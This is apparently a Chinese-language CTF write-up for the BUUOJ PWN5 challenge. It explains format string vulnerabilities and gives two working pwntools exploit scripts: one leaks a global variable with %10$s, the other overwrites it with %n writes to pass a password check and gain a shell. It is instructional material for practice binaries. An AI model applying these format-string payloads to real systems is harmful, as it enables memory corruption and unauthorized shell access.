题目地址:https://buuoj.cn/challenges#[第五空间2019 决赛]PWN5
先检查一下保护情况
再拖进ida里分析
找到一个格式化字符串漏洞,那么我们可以利用这个漏洞去获取或者改写dword_804C044的值
从而进入if语句中,拿到shell
什么是格式化字符串漏洞
所谓格式化字符串漏洞,就是我们能控制格式化字符串函数的格式化字符串,从而实现在任意地址读数据、写数据
格式化字符串函数有:
函数 | 作用 |
---|---|
printf | 发送格式化输出到标准输出 stdout |
fprintf | 发送格式化输出到流 stream 中 |
vprintf | 使用参数列表发送格式化输出到标准输出stdout |
sprintf | 发送格式化输出到 str 所指向的字符串 |
snprintf | 与sprintf相同,但会限制输出的字符数,避免缓冲区溢出 |
vsprintf | 使用参数列表发送格式化输出到字符串 |
... | ... |
正常的printf是这样的
char buf[100];
scanf("%s",buf);
printf("%s",buf)
有格式化字符串漏洞的printf
char buf[100];
scanf("%s",buf);
printf(buf)
格式化字符串任意地址读取数据
首先输入 AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p
,后面是若干个%p
,然后我们从打印的数据中找0x41414141(AAAA)
发现0x41414141位于第十个位置,这就是buf字符数组的位置,后面是我们输入的0x70257025(%p%p)
printf的第一个参数是我们输入的格式化字符串,printf不会检查后面是不是printf的参数,只会根据printf的第一个参数中的格式化操作符(%p
等),依次后面找地址,并将地址上的值按照格式输出,%n$p
表示往后面找第10个,也就是printf的第11个参数,所以我们可以直接用 %10$p
来代替10个 %p
,即可直接输出0x41414141
后面我们就可以尝试修改AAAA的值为dword_804C044的地址,修改 %10$p
为 %10$s
我们用pwntools辅助我们进行操作
读取dword_804C044的值解法
from pwn import *
#context.log_level= 'debug'
p = process("./pwn")
bss_addr = 0x804c044
payload = p32(bss_addr)+b'%10$s'
p.sendline(payload)
p.recvuntil(b"Hello,")
num = u32(p.recv()[4:8]) #当接收到'hello,'之后,后面四个字节为p32(bss_addr),之后就是bss_addr处的值,因为是int,所以读取四个字节
p.sendline(str(num).encode())
p.interactive()
这样就可以拿到shell了
下面我们介绍另一种方法
格式化字符串任意地址写数据
写数据主要靠%n这个不常用的符号,%n不输出字符,而是把已经输出的字符数写到该地址处
我们将 %10$s
换成 %10$n
,就可以在bss_addr处写数值了
因为bss_addr处的值为int类型,所以我们要连续覆盖四个字节,复制四份,记得改一下%n中间偏移的量
p32(bss_addr)+p32(bss_addr+1)+p32(bss_addr+2)+p32(bss_addr+3)+b'%10$n'+b'%11$n'+b'%12$n'+b'%13$n'
改之后前四个地址占据了printf函数第10、11、12、13个参数,所以相应的使用 %10$n
、%11$n
、%12$n
、%13$n
修改dword_804C044的值解法
from pwn import *
context.log_level="debug"
#p = process("./pwn")
p = remote("node5.buuoj.cn",27945)
bss_addr = 0x804c044
payload = p32(bss_addr)+p32(bss_addr+1)+p32(bss_addr+2)+p32(bss_addr+3)+b'%10$n'+b'%11$n'+b'%12$n'+b'%13$n'
p.sendline(payload)
p.recvuntil(b"passwd:")
p.sendline(str(0x10101010))#我们输出了4个32位的地址,每个地址4字节,共16字节,也就是0x10(十六进制)
#将int型变量每个字节变成了0x10,所以我们将0x10101010转成十进制字符串发送,即可成功匹配
p.interactive()